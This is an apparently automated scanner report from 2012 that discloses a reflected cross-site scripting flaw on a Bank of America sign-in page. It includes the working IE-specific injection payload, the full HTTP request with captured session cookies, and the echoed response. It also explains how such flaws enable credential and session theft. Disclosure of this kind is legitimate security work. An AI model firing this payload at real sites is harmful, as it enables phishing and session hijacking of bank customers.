Report generated by XSS.Cx at Mon Aug 06 09:08:03 EDT 2012.


Loading

1. Cross-site scripting (reflected)



1. Cross-site scripting (reflected)

Summary

Severity:   High
Confidence:   Certain
Host:   https://safe.bankofamerica.com
Path:   /login/sign-in/signOnScreen.go

Issue detail

The value of the state request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bbd83"style%3d"behavior%3aurl(%23default%23time2)"onbegin%3d"alert(1)"cd8dcd0a271 was submitted in the state parameter. This input was echoed as bbd83"style="behavior:url(#default#time2)"onbegin="alert(1)"cd8dcd0a271 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The proof-of-concept attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organization. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organization which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organization in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

Request

GET /login/sign-in/signOnScreen.go?adlink=&cm_mmc=&cm_sp=&context=en&locale=&state=DEbbd83"style%3d"behavior%3aurl(%23default%23time2)"onbegin%3d"alert(1)"cd8dcd0a271 HTTP/1.1
Host: safe.bankofamerica.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:8.0) Gecko/20120524 Firefox/8.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Connection: keep-alive
Referer: http://www.bankofamerica.com/state.cgi?section=gslsignin&update=yes&cookiecheck=yes&source_id=10002FUN0000000
Cookie: TLTUID=B9472E6EDF4210DF7347FEC31928C384; BOA_0020=20120805:0:O:4a53906b-81a5-4e02-85631d5f34b855bb; throttle_value=3; CM_RegCustID=20120805:0:O:4a53906b-81a5-4e02-85631d5f34b855bb; mbox=session#5555#1344210358|check#true#1344208558|PC#1344201301085-116833.17#1345418098; TCID=0007b55c-04df-7358-80ff-a7e800000035; NSC_CbolPgBnfsjdb=445b320a7852; state=DE; SURVEY_SHOWN_IN_LAST_6_MONTHS=Y; TLTSID=03AE02CCDF5310DF22679837A519C01A; session_start_time=1344208418899; cmTPSet=Y; referer=http%3A%2F%2Fpromo.bankofamerica.com%2Fsbswitch%2F%3Fcm_sp%3DSB-Checking-_-SmallBusinessChecking-_-SC14LT0007_DialogueZone1_Learnhowtomaketheswitch; NSC_CpBQsfmjwf=445b32277852

Response

HTTP/1.1 200 OK
Date: Sun, 05 Aug 2012 23:18:01 GMT
Server: IBM_HTTP_Server
P3P: CP="CAO IND PHY ONL UNI FIN COM NAV INT DEM CNT STA POL HEA PRE GOV CUR ADM DEV TAI PSA PSD IVAi IVDi CONo TELo OUR SAMi OTRi"
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Pragma: no-cache
Cache-Control: no-cache="set-cookie,set-cookie2",no-store, must-revalidate, max-age=0, private
X-FRAME-OPTIONS: DENY
Cache-Control: no-cache
Set-Cookie: JS_VIPAA=0000b5E3lyN2JqqoaXHzLMKLV9J:16nsvo6o3; HTTPOnly; Path=/; Secure
Set-Cookie: SMSESSION=""; Expires=Thu, 01 Dec 1994 16:00:00 GMT; Path=/; Domain=.bankofamerica.com; Secure
Set-Cookie: cpk=""; Expires=Thu, 01 Dec 1994 16:00:00 GMT; Path=/; Domain=.bankofamerica.com; Secure
Set-Cookie: cpk2=""; Expires=Thu, 01 Dec 1994 16:00:00 GMT; Path=/; Domain=.bankofamerica.com; Secure
Set-Cookie: PI=""; Expires=Thu, 01 Dec 1994 16:00:00 GMT; Path=/; Domain=.bankofamerica.com; Secure
Set-Cookie: pm_command=""; Expires=Thu, 01 Dec 1994 16:00:00 GMT; Path=/; Domain=.bankofamerica.com; Secure
Via: On-Demand Router/1.0
Vary: Accept-Encoding
Keep-Alive: timeout=5, max=481
Connection: Keep-Alive
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
X-Serviced-By: ukxmgGJ5xEb0bLGPHfz77A==
Content-Length: 14873

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-US" lang="en-US">    <head><!-- XENGIN
...[SNIP]...
<input type="hidden" name="state" value="DEbbd83"style="behavior:url(#default#time2)"onbegin="alert(1)"cd8dcd0a271"/>
...[SNIP]...

Report generated by XSS.Cx at Mon Aug 06 09:08:03 EDT 2012.